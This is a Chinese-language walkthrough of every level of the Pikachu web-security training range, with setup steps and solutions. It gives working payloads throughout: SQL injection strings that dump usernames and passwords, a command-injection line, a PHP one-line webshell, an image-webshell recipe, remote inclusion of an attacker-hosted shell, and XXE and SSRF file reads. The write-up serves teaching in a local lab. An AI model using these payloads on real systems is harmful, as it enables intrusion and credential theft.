Pikachu靶场完整通关秘籍

Pikachu 是一款非常适合 Web 安全入门的开源练习靶场,它涵盖了暴力破解、XSS、CSRF、SQL 注入、RCE 等几乎所有常见的 Web 安全漏洞,帮助新手快速理解漏洞原理、掌握漏洞利用方式。本文将带你从靶场搭建开始,一步步通关所有关卡,整理出完整的实战通关秘籍。


0. Pikachu 靶场搭建

在开始通关之前,我们首先需要搭建好 Pikachu 的本地环境:

步骤 1:修改配置文件

下载 Pikachu 的源码后,找到inc/config.inc.php文件,修改数据库的连接配置:

复制代码
​
<?php
//全局session_start
session_start();
//全局居设置时区
date_default_timezone_set('Asia/Shanghai');
//全局设置默认字符
header('Content-type:text/html;charset=utf-8');
//定义数据库连接参数
define('DBHOST', '127.0.0.1');//数据库服务器地址
define('DBUSER', 'root');//数据库用户名
define('DBPW', 'root');//数据库密码
define('DBNAME', 'pikachu');//数据库名
define('DBPORT', '3306');//数据库端口
?>

步骤 2:完成安装

配置完成后,访问http://localhost/pika/install.php,按照提示完成数据库的初始化,就可以进入靶场的首页了。

注意:部分关卡在 PHP 7.2 及以上版本运行更稳定,低版本可能会出现 httponly 等兼容问题。


1. 暴力破解(Brute Force)

暴力破解是最基础的攻击方式,通过枚举账号密码来尝试登录,这一关我们会学习如何绕过各种防爆破的防护。

1.1 基于表单的暴力破解

题目 :目标登录表单没有任何防护,尝试爆破出账号密码登录。 实战步骤

  1. 打开 Burp Suite,开启拦截,访问登录页面,输入任意的账号密码,抓包。

  2. 将抓到的请求发送到爆破模块,设置账号和密码的字典。

  3. 开始爆破,根据响应长度的不同,找到正确的账号密码组合。

1.2 验证码绕过(on server)

题目 :登录表单加入了验证码,尝试绕过验证码完成爆破。 原理 :服务器端的验证码生成后,没有做单次失效的处理,验证过一次的验证码还可以重复使用。 实战步骤: 和上一题的爆破步骤完全一致,只需要输入一次正确的验证码,然后带上这个验证码进行爆破即可,因为验证码不会过期。

1.3 验证码绕过 (on client)

题目 :前端的验证码验证,尝试绕过。 原理 :验证码的验证完全是前端 JS 做的,服务器端根本没有对验证码做任何验证,前端的验证只是摆设。 实战步骤: 直接忽略前端的验证码,和普通的表单爆破一样,抓包后直接爆破账号密码即可,服务器不会校验验证码。

1.4 token 防爆破?

题目 :登录加入了 token 防爆破,每次请求的 token 都会变化,怎么绕过? 原理 :token 是服务器生成的,每次请求后,响应里都会返回新的 token,我们可以逐个请求,从响应里提取 token,然后进行爆破。 实战步骤

  1. 设置账号和密码的字典,和之前一样。

  2. 配置爆破的规则,从每次的响应里提取 token 参数。

  3. 关键:将线程数设置为 1,因为 token 是单次有效的,必须逐个请求,不能并发。

  4. 开始爆破,就可以成功绕过 token 的防护,爆破出账号密码。


2. 跨站脚本攻击(XSS)

XSS 是最常见的 Web 漏洞之一,攻击者可以通过注入恶意 JS 代码,窃取用户的 Cookie、劫持用户的会话,甚至钓鱼。

2.1 反射型 xss (get)

题目 :GET 型的反射 XSS,输入的内容会直接输出到页面。 解答:直接输入 XSS payload 即可触发:

复制代码
​
<script>alert(1)</script>

2.2 反射型 xss (post)

题目 :POST 型的反射 XSS,需要先登录。 解答

  1. 使用admin/123456登录后台。

  2. 输入 payload:

复制代码
​
<script>alert(document.cookie)</script>

注意:PHP 7.2 版本可以正常获取 Cookie,低版本的 Cookie 会开启 httponly,无法通过 JS 获取。

2.3 存储型 xss

题目 :存储型 XSS,输入的内容会保存到服务器,所有访问的用户都会触发。 解答:直接输入 payload,提交后,每次访问这个页面都会触发:

复制代码
​
<script>alert(1)</script>

2.4 dom 型 xss

题目 :DOM 型 XSS,前端 JS 处理输入的内容,插入到页面中。 解答:输入 payload,前端 JS 会把内容插入到 DOM 中,触发 XSS:

复制代码
​
<script>alert(1)</script>

2.5 dom 型 xss-x

题目 :进阶的 DOM 型 XSS,需要闭合原来的标签。 解答:构造 payload,闭合原来的引号,执行自己的 JS:

复制代码
​
";alert(1);//

2.6 xss 之盲打

题目 :盲 XSS,你输入的内容前台看不到,但是后台管理员会查看。 解答:直接输入 XSS payload,当后台管理员访问后台页面的时候,就会触发:

复制代码
​
<script>alert(1)</script>

2.7 xss 之过滤

题目 :服务端过滤了script标签,怎么绕过? 解答:使用大小写混淆绕过过滤,因为过滤只匹配了小写的 script:

复制代码
​
<sCRIPT>alert(1)</scRipt>

2.8 xss 之 htmlspecialchars

题目 :服务端使用了 htmlspecialchars 函数过滤,怎么绕过? 原理 :htmlspecialchars 默认只过滤<>&",没有过滤单引号,所以如果输出在属性里,就可以用单引号闭合。 解答:构造 payload,触发 onclick 事件:

复制代码
​
'οnclick='alert(1)

2.9 xss 之 href 输出

题目 :输入的内容会输出到 a 标签的 href 属性里,怎么利用? 解答:使用 javascript 协议,点击链接就会执行 JS:

复制代码
​
javascript:alert(1)

2.10 xss 之 js 输出

题目 :输入的内容会输出到 JS 代码里,怎么利用? 解答:闭合原来的 script 标签,跳出 JS 代码,执行自己的代码:

复制代码
​
';alert(1)</script>

3. 跨站请求伪造(CSRF)

CSRF 漏洞,攻击者可以引诱已登录的用户,在用户不知情的情况下,执行用户的权限操作,比如修改密码、修改个人信息。

3.1 CSRF(get) login

题目 :GET 型的 CSRF,修改用户的个人信息。 解答

  1. 登录之后,复制修改信息的 GET 请求链接。

  2. 构造一个恶意页面,引诱用户访问这个链接,用户访问后,就会自动提交修改信息的请求,完成 CSRF 攻击。

3.2 CSRF(post) login

题目 :POST 型的 CSRF,修改信息是 POST 请求。 解答: 和 GET 型的类似,构造一个自动提交的 POST 表单,引诱用户访问这个页面,用户访问后,表单会自动提交,完成攻击。

3.3 CSRF Token login

题目 :带 Token 的 CSRF,这是 CSRF 的防御示例。 原理:Token 是随机的,攻击者无法获取用户的 Token,所以无法构造恶意的请求,这就是 Token 防御 CSRF 的原理。


4. SQL 注入

SQL 注入是最经典的高危漏洞,攻击者可以通过注入恶意的 SQL 语句,读取数据库的任意数据,甚至控制服务器。

4.1 数字型注入(post)

题目 :POST 的数字型注入,参数是数字类型,没有引号包裹。 解答:直接拼接 Union 查询,就可以获取数据库信息:

复制代码
​
1 union select database(),version()

4.2 字符类型注入(get)

题目 :GET 的字符型注入,参数用单引号包裹。 解答:用单引号闭合,然后 Union 查询,完整 payload:

复制代码
​
id=-1 order by 2
id=-1 union select 1,2
id=-1 union select database(),version()
id=-1 union select group_concat(table_name),2 from information_schema.tables where table_schema='pikachu'
id=-1 union select group_concat(column_name),2 from information_schema.columns where table_schema='pikachu' and table_name='users'
id=-1 union select group_concat(username),group_concat(password) from users

4.3 搜索型注入

题目 :搜索框的注入,没有回显的过滤。 解答:闭合引号,加注释,完整 payload:

复制代码
​
?name=1' order by 2 --+&submit=查询
?name=1' union select database(),version() --+&submit=查询
?name=1' union select group_concat(table_name),2 from information_schema.tables where table_schema='pikachu' --+&submit=查询
?name=1' union select group_concat(column_name),2 from information_schema.columns where table_schema='pikachu' and table_name='users' --+&submit=查询
?name=1' union select group_concat(username),group_concat(password) from users --+&submit=查询

4.4 xx 型号注入

题目 :括号包裹的字符型注入,比如('输入的内容')解答 :用%'闭合,然后 Union 查询,完整 payload:

复制代码
​
?name=1%' order by 3 --+&submit=查询
?name=1%' union select 1,database(),version() --+&submit=查询
?name=1%' union select group_concat(table_name),2,3 from information_schema.tables where table_schema='pikachu' --+&submit=查询
?name=1%' union select group_concat(column_name),2,3 from information_schema.columns where table_schema='pikachu' and table_name='users' --+&submit=查询
?name=1%' union select group_concat(username),group_concat(password),3 from users --+&submit=查询

4.5 insert/update 注入

题目 :注册、修改用户的注入,没有回显。 解答:使用报错注入,通过 extractvalue 获取数据,完整 payload:

复制代码
​
' and extractvalue(1,concat(0x7e,(database()))) and '1'='1
' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='pikachu' ))) and '1'='1
' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='pikachu' and table_name='users'))) and '1'='1
' and extractvalue(1,concat(0x7e,(select concat(username,'-',password) from users limit 0,1))) and '1'='1

4.6 delete 注入

题目 :Delete 语句的注入,同样没有回显。 解答:和 insert 注入一样,使用报错注入,payload 和上面的完全一致。

4.7 http header 注入

题目 :HTTP 头的注入,比如 User-Agent 参数。 解答:在 User-Agent 里注入上面的报错注入 payload,就可以获取数据库的数据。

4.8 boolean 盲注

题目 :布尔盲注,没有回显,只有请求的对错可以判断。 解答:逐个猜解数据库的字符,完整 payload:

复制代码
​
-- 猜数据库长度
?name=lucy' and length(database())<10 --+&submit=查询
?name=lucy' and length(database())<6 --+&submit=查询
?name=lucy' and length(database())=7 --+&submit=查询
-- 逐个猜字符
#p
?name=lucy' and ascii(substr(database(),1,1))=112 --+&submit=查询
#i
?name=lucy' and ascii(substr(database(),2,1))=105 --+&submit=查询
#k
?name=lucy' and ascii(substr(database(),3,1))=107 --+&submit=查询
#a
?name=lucy' and ascii(substr(database(),4,1))=97 --+&submit=查询
#c
?name=lucy' and ascii(substr(database(),5,1))=99 --+&submit=查询
#h
?name=lucy' and ascii(substr(database(),6,1))=104 --+&submit=查询 
#u 
?name=lucy' and ascii(substr(database(),7,1))=117 --+&submit=查询

4.9 延迟盲注

题目 :时间盲注,通过响应的时间来判断对错。 解答:使用 if 和 sleep 函数,逐个猜解,也可以用 sqlmap 自动化跑:

复制代码
​
-- 猜数据库长度
?name=lucy' and if(length(database())<10,sleep(5),1) --+&submit=查询
?name=lucy' and if(length(database())<6,sleep(5),1) --+&submit=查询
?name=lucy' and if(length(database())=7,sleep(5),1) --+&submit=查询
-- 逐个猜字符
#p
?name=lucy' and if(ascii(substr(database(),1,1))=112,sleep(5),1) --+&submit=查询
#i
?name=lucy' and if(ascii(substr(database(),2,1))=105,sleep(5),1) --+&submit=查询
...以此类推

也可以用 sqlmap 自动化注入:

复制代码
​
sqlmap -u 'http://192.168.244.1/pika/vul/sqli/sqli_blind_t.php?name=1&submit=%E6%9F%A5%E8%AF%A2' -p name --current-db

4.10 宽字节注入

题目 :宽字节注入,绕过 addslashes 的转义。 原理 :数据库使用 GBK 编码,addslashes 会把'转成',我们用%df吃掉\,让'逃逸出来,因为%df%5c在 GBK 里是一个汉字。 解答:完整 payload:

复制代码
​
name=1%df' union select version(),database() --+&submit=%E6%9F%A5%E8%AF%A2
name=1%df' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() --+&submit=%E6%9F%A5%E8%AF%A2
name=1%df' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273 --+&submit=%E6%9F%A5%E8%AF%A2
name=1%df' union select group_concat(username),group_concat(password) from pikachu.users --+&submit=%E6%9F%A5%E8%AF%A2

5. 远程命令 / 代码执行(RCE)

RCE 漏洞,攻击者可以直接在目标服务器上执行系统命令或者 PHP 代码,直接控制服务器。

5.1 exec "ping"

题目 :Ping 工具,执行系统命令。 解答:使用管道符,注入系统命令:

复制代码
​
127.0.0.1 | whoami

这样就可以在 ping 之后,执行 whoami 命令,查看当前的系统用户。

5.2 exec "eval"

题目 :eval 执行,输入的内容会被当作 PHP 代码执行。 解答:直接输入 PHP 代码,甚至可以写入一句话木马:

复制代码
​
phpinfo();
// 写入一句话木马
fputs(fopen('shell.php','w'),'<?php assert($_POST[123]);?>');

6. 文件包含漏洞(File Inclusion)

文件包含漏洞,PHP 的 include 函数会把文件的内容当作 PHP 代码执行,攻击者可以通过这个漏洞,读取任意文件,甚至执行远程的代码。

6.1 本地文件包含

题目 :本地文件包含,包含本地的文件。 解答

  • 可以读取本地的任意文件,比如?filename=../../inc/config.inc.php,读取数据库的配置文件。

  • 也可以结合文件上传,包含我们上传的图片马,执行 PHP 代码。

6.2 远程文件包含

题目 :远程文件包含,包含远程的文件。 解答

  • 可以包含远程的文件,比如我们在自己的服务器上放一个 webshell.txt,然后?filename=http://我们的地址/webshell.txt,就可以执行远程的代码。

  • 也可以用 php://filter 读取文件的源码:?filename=php://filter/read=convert.base64-encode/resource=fi_remote.php,base64 编码后读取,避免代码被执行。


7. 文件下载漏洞

7.1 不安全的文件下载

题目 :任意文件下载,没有过滤文件名,攻击者可以下载服务器的任意文件。 解答:使用目录遍历,读取配置文件:

复制代码
​
http://localhost/pika/vul/unsafedownload/execdownload.php?filename=../../../inc/config.inc.php

这样就可以下载数据库的配置文件,获取数据库的账号密码。


8. 文件上传漏洞

文件上传漏洞,攻击者可以上传恶意的 PHP 文件,从而获取服务器的权限。

8.1 客户端 check

题目 :前端的 JS 验证文件类型,只允许上传图片。 解答

  1. 把 PHP 文件改名为 jpg,绕过前端的验证。

  2. 用 Burp 抓包,把文件名改回 php,上传成功。

8.2 服务端 check

题目 :服务端检查文件的 content-type。 解答 : 抓包之后,把 content-type 改成image/jpeg,就可以绕过服务端的检查,上传 PHP 文件。

8.3 getimagesize()

题目 :服务端检查文件是不是图片,用 getimagesize 检查图片的大小。 解答: 制作图片马,把 PHP 代码加到图片的后面:

复制代码
​
copy info.png /b + info.php /a webshell.png

然后上传这个图片马,之后结合文件包含漏洞,包含这个图片,就可以执行里面的 PHP 代码:

复制代码
​
http://localhost/pika/vul/fileinclude/fi_local.php?filename=../../unsafeupload/uploads/xxx.png&submit=提交

9. 越权漏洞

越权漏洞,攻击者可以访问或者操作不属于自己权限的内容,分为水平越权和垂直越权。

9.1 水平越权

题目 :普通用户可以查看其他普通用户的信息。 解答: 登录之后,修改请求的 username 参数,就可以查看其他用户的信息:

复制代码
​
http://localhost/pika/vul/overpermission/op1/op1_mem.php?username=lili&submit=%E7%82%B9%E5%87%BB%E6%9F%A5%E7%9C%8B%E4%B8%AA%E4%BA%BA%E4%BF%A1%E6%81%AF

9.2 垂直越权

题目 :普通用户可以访问管理员的功能。 解答: 普通用户登录之后,直接访问管理员的地址,就可以执行管理员的操作:

复制代码
​
/pika/vul/overpermission/op2/op2_admin_edit.php

因为服务端没有做权限检查,普通用户也可以访问管理员的页面。


10. 目录遍历漏洞

10.1 目录遍历

题目 :目录遍历,攻击者可以遍历服务器的目录,读取任意文件。 解答 : 使用../遍历目录,读取任意文件:

复制代码
​
http://localhost/pika/vul/dir/dir_list.php?title=../../unsafeupload/uploads/info.php

11. 敏感信息泄露

11.1 find abc

题目 :源码里隐藏了敏感信息,尝试找到它。 解答:查看页面的源码,就可以找到隐藏的 abc 字符串。


12. PHP 反序列化

PHP 反序列化漏洞,攻击者可以构造恶意的序列化字符串,触发恶意的代码执行。 解答: 我们构造恶意的类,然后序列化,提交给服务器:

复制代码
​
<?php
class S{
 var $test = "<script>alert('xss')</script>"; 
 }
$s = new S();
echo serialize($s);
?>

得到序列化字符串:O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";},提交之后,就会触发 XSS。


13. XXE 漏洞

XXE,XML 外部实体注入,攻击者可以通过构造恶意的 XML,读取服务器的任意文件。

13.1 xxe 漏洞

解答: 构造恶意的 XML,读取本地的文件:

复制代码
​
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///C://test.txt">
]>
<foo>&xxe;</foo>

提交之后,就可以读取本地的文件内容。


14. URL 重定向

14.1 不安全的 url 跳转

题目 :任意 URL 跳转,攻击者可以把用户跳转到恶意的网站。 解答: 构造跳转链接,还可以用短链接缩短,用来钓鱼:

复制代码
​
http://localhost/pika/vul/urlredirect/urlredirect.php?url=http://baidu.com

15. SSRF 漏洞

SSRF,服务器端请求伪造,攻击者可以让服务器替我们访问任意的地址,从而探测内网、读取本地文件。

15.1 SSRF(curl)

题目 :curl 的 SSRF。 解答

  • 读取本地文件:http://localhost/pika/vul/ssrf/ssrf_curl.php?url=file:///C://test.txt

  • 探测内网端口:http://localhost/pika/vul/ssrf/ssrf_curl.php?url=dict://127.0.0.1:3306,探测 mysql 端口。

15.2 SSRF(file_get_content)

题目 :file_get_content 的 SSRF。 解答: 和上面的类似,还可以用 php://filter 读取源码:

复制代码
​
file=php://filter/read=convert.base64-encode/resource=ssrf_fgc.php

读取当前文件的源码,base64 编码后输出。


写在最后

Pikachu 靶场把所有常见的 Web 漏洞都做了非常清晰的示例,通关完所有关卡之后,你就会对 Web 安全的常见漏洞有一个完整的、体系化的认识,为后续的实战渗透打下坚实的基础。希望这篇通关秘籍可以帮助你快速通关,掌握 Web 安全的核心知识。

相关推荐
志栋智能2 小时前
安全自动化不烧钱:低成本实战策略
运维·网络·人工智能·安全·自动化
上海云盾-小余2 小时前
CC 攻击与 DDoS 的本质区别:从原理到防御方案全对比
网络·安全·web安全·ddos
运维行者_2 小时前
金融和电商行业如何使用网络监控保障业务稳定?
开发语言·网络·人工智能·安全·web安全·机器学习·运维开发
相醉为友2 小时前
000 Linux个性操作记录——存储焦虑时期如何wsl2中配置安全的软件优化操作
linux·安全
CDN3602 小时前
CDN 报错 403/502/504 怎么解决?源站与防护策略排查
运维·网络安全
一只鼠标猴2 小时前
甲方安全运营体系:合规实战融合与闭环建设
网络安全·安全架构·风险管控·安全运营体系·甲方安全·合规落地
星幻元宇VR3 小时前
VR科普蛋椅|打造沉浸式科普教育新体验
科技·安全·vr
西杭3 小时前
Claude读论文系列(五)
安全
JamesYoung79713 小时前
普通人如何安全使用OpenClaw?
安全